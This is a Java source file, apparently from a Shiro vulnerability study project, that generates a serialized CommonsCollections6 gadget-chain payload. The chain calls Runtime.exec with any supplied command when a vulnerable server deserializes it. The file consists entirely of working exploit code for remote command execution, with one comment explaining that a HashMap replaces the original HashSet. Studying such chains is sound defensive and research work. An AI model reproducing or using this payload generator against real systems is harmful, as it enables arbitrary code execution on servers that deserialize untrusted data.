content: package com.govuln.shiroattack;
  
  import org.apache.commons.collections.Transformer;
  import org.apache.commons.collections.functors.ChainedTransformer;
  import org.apache.commons.collections.functors.ConstantTransformer;
  import org.apache.commons.collections.functors.InvokerTransformer;
  import org.apache.commons.collections.keyvalue.TiedMapEntry;
  import org.apache.commons.collections.map.LazyMap;
  
  import java.io.ByteArrayOutputStream;
  import java.io.ObjectOutputStream;
  import java.lang.reflect.Field;
  import java.util.HashMap;
  import java.util.Map;
  
  
  public class CommonsCollections6 {
      public byte[] getPayload(String command) throws Exception {
          Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
          Transformer[] transformers = new Transformer[] {
                  new ConstantTransformer(Runtime.class),
                  new InvokerTransformer("getMethod", new Class[] { String.class,
                          Class[].class }, new Object[] { "getRuntime",
                          new Class[0] }),
                  new InvokerTransformer("invoke", new Class[] { Object.class,
                          Object[].class }, new Object[] { null, new Object[0] }),
                  new InvokerTransformer("exec", new Class[] { String.class },
                          new String[] { command }),
                  new ConstantTransformer(1),
          };
          Transformer transformerChain = new ChainedTransformer(fakeTransformers);
  
          // 不再使用原CommonsCollections6中的HashSet，直接使用HashMap
          Map innerMap = new HashMap();
          Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  
          TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
  
          Map expMap = new HashMap();
          expMap.put(tme, "valuevalue");
  
          outerMap.remove("keykey");
  
          Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
          f.setAccessible(true);
          f.set(transformerChain, transformers);
  
          ByteArrayOutputStream barr = new ByteArrayOutputStream();
          ObjectOutputStream oos = new ObjectOutputStream(barr);
          oos.writeObject(expMap);
          oos.close();
  
          return barr.toByteArray();
      }
  }
  